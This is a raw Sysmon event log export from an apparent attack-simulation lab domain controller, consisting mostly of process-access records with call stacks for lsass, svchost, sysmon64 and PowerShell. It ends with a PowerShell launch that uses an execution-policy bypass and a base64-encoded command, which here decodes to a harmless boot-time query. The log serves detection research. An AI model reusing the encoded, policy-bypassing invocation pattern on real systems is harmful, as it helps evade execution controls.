10341000x8000000000000000699Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.973{A5F018FF-273D-5F80-2C00-000000007E01}27763144C:\Windows\system32\DFSRs.exe{A5F018FF-272E-5F80-0F00-000000007E01}1140C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmidcprv.dll+163a4|C:\Windows\system32\wbem\wmidcprv.dll+166e0|C:\Windows\system32\wbem\wmidcprv.dll+ae6e|C:\Windows\system32\wbem\wmidcprv.dll+b6aa|C:\Windows\system32\DFSRs.exe+c77a|C:\Windows\system32\DFSRs.exe+6bb2|C:\Windows\system32\DFSRs.exe+7344|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000698Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.973{A5F018FF-273D-5F80-2C00-000000007E01}27763144C:\Windows\system32\DFSRs.exe{A5F018FF-272E-5F80-0F00-000000007E01}1140C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmidcprv.dll+163a4|C:\Windows\system32\wbem\wmidcprv.dll+166e0|C:\Windows\system32\wbem\wmidcprv.dll+ae6e|C:\Windows\system32\wbem\wmidcprv.dll+b6aa|C:\Windows\system32\DFSRs.exe+c6b7|C:\Windows\system32\DFSRs.exe+6bb2|C:\Windows\system32\DFSRs.exe+7344|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000697Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.973{A5F018FF-273D-5F80-2C00-000000007E01}27763684C:\Windows\system32\DFSRs.exe{A5F018FF-272E-5F80-0F00-000000007E01}1140C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmidcprv.dll+163a4|C:\Windows\system32\wbem\wmidcprv.dll+166e0|C:\Windows\system32\wbem\wmidcprv.dll+ae6e|C:\Windows\system32\wbem\wmidcprv.dll+b6aa|C:\Windows\system32\wmidcom.dll+542c|C:\Windows\system32\wmidcom.dll+5495|C:\Windows\SYSTEM32\ntdll.dll+2b9ae|C:\Windows\SYSTEM32\ntdll.dll+29bc4|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000696Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.874{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000695Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.874{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000694Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.874{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000693Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.862{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000692Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.862{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000691Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.862{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000690Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.643{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-289E-5F80-1D03-000000007E01}2976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000689Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.643{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-289E-5F80-1D03-000000007E01}2976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x8000000000000000688Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.596{A5F018FF-289E-5F80-1D03-000000007E01}2976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_2hpdqq3m.y1k.ps12020-10-09 09:08:46.596 10341000x8000000000000000687Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.581{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-289E-5F80-1D03-000000007E01}2976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000686Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.581{A5F018FF-2831-5F80-5F00-000000007E01}8682684C:\Windows\servicing\TrustedInstaller.exe{A5F018FF-2831-5F80-6000-000000007E01}1244C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.3926_none_7ec739a4221e2b99\TiWorker.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\combase.dll+6eba8|C:\Windows\servicing\TrustedInstaller.exe+43a2|C:\Windows\servicing\TrustedInstaller.exe+1d1d|C:\Windows\servicing\TrustedInstaller.exe+28c6|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000685Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-289E-5F80-1B03-000000007E01}33844132C:\Windows\system32\conhost.exe{A5F018FF-289E-5F80-1D03-000000007E01}2976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000684Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000683Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000682Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000681Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000680Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000679Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000678Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000677Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000676Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000675Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-2724-5F80-0500-000000007E01}640760C:\Windows\system32\csrss.exe{A5F018FF-289E-5F80-1D03-000000007E01}2976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000674Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.549{A5F018FF-289E-5F80-1C03-000000007E01}42964764C:\Windows\system32\cmd.exe{A5F018FF-289E-5F80-1D03-000000007E01}2976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000673Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.562{A5F018FF-289E-5F80-1D03-000000007E01}2976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEPowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUAC:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-289E-5F80-0621-120000000000}0x1221060HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-289E-5F80-1C03-000000007E01}4296C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 